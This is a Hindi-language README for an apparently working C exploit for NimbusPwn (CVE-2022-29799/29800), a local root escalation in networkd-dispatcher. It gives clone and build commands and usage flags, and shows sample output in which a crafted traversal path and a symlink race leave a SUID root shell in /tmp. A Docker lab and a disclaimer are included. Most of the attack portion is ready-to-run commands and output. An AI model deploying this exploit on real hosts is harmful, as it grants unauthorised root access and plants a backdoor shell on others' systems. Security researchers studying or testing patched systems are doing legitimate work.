
NimbusPwn (CVE-2022-29799/29800) स्थानीय विशेषाधिकार उन्नयन PoC C में।
NimbusPwn के लिए एक C PoC, networkd-dispatcher में एक स्थानीय विशेषाधिकार वृद्धि। एक अनअप्रिविलेज्ड उपयोगकर्ता org.freedesktop.network1 D-Bus नाम का दावा करता है और एक क्राफ्टेड OperationalState भेजता है। रूट डेमॉन इसे सैनिटाइज़ नहीं करता (CVE-2022-29799, पथ ट्रैवर्सल), और स्क्रिप्ट निर्देशिका पर एक सिमलिंक रेस (CVE-2022-29800, TOCTOU) इसे हमलावर द्वारा रोपित स्क्रिप्ट को रूट के रूप में चलाने पर मजबूर करता है — एक SUID रूट शेल गिराता है।
प्रभावित: networkd-dispatcher < 2.1 (2.1 में ठीक किया गया)। केवल Linux. आवश्यकता: सिस्टम D-Bus और एक दावा करने योग्य org.freedesktop.network1 नाम।
Linux (Kali, या लक्ष्य बॉक्स) पर बनाएँ। यह macOS/Windows पर नहीं बनता या चलता।
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] अन्य डिस्ट्रो:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) याpacman -S gcc dbus pkgconf(Arch)। कंपाइल लाइन वही है।
एक असुरक्षित होस्ट पर एक अनअप्रिविलेज्ड उपयोगकर्ता के रूप में चलाएँ।
./nimbuspwn [-c] [-s SHELL]
-c, --check non-breaking vuln check, no exploitation
-s, --shell SHELL shell to SUID-copy and spawn as root (default /bin/sh)
-h, --help show help
पहले जाँचें (सुरक्षित, कुछ नहीं लगाता, कभी रेस नहीं करता):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
फिर शोषण करें:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
रेस गैर-नियतात्मक है, इसलिए यह पुनः प्रयास करता है (डिफ़ॉल्ट 10×)। /bin/sh के बिना होस्ट पर -s /bin/bash का उपयोग करें।
एक आत्म-निहित असुरक्षित लैब (Ubuntu 20.04 + असुरक्षित networkd-dispatcher 2.0)। कोई --privileged या होस्ट नेटवर्किंग नहीं।
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
2.0 डिस्पैचर docker/ में वेंडर किया गया है, इसलिए बिल्ड किसी बाहरी डाउनलोड पर निर्भर नहीं करता। डिस्पैचर लॉग: /var/log/dispatcher.log।
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता उपकरण द्वारा उत्पन्न किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।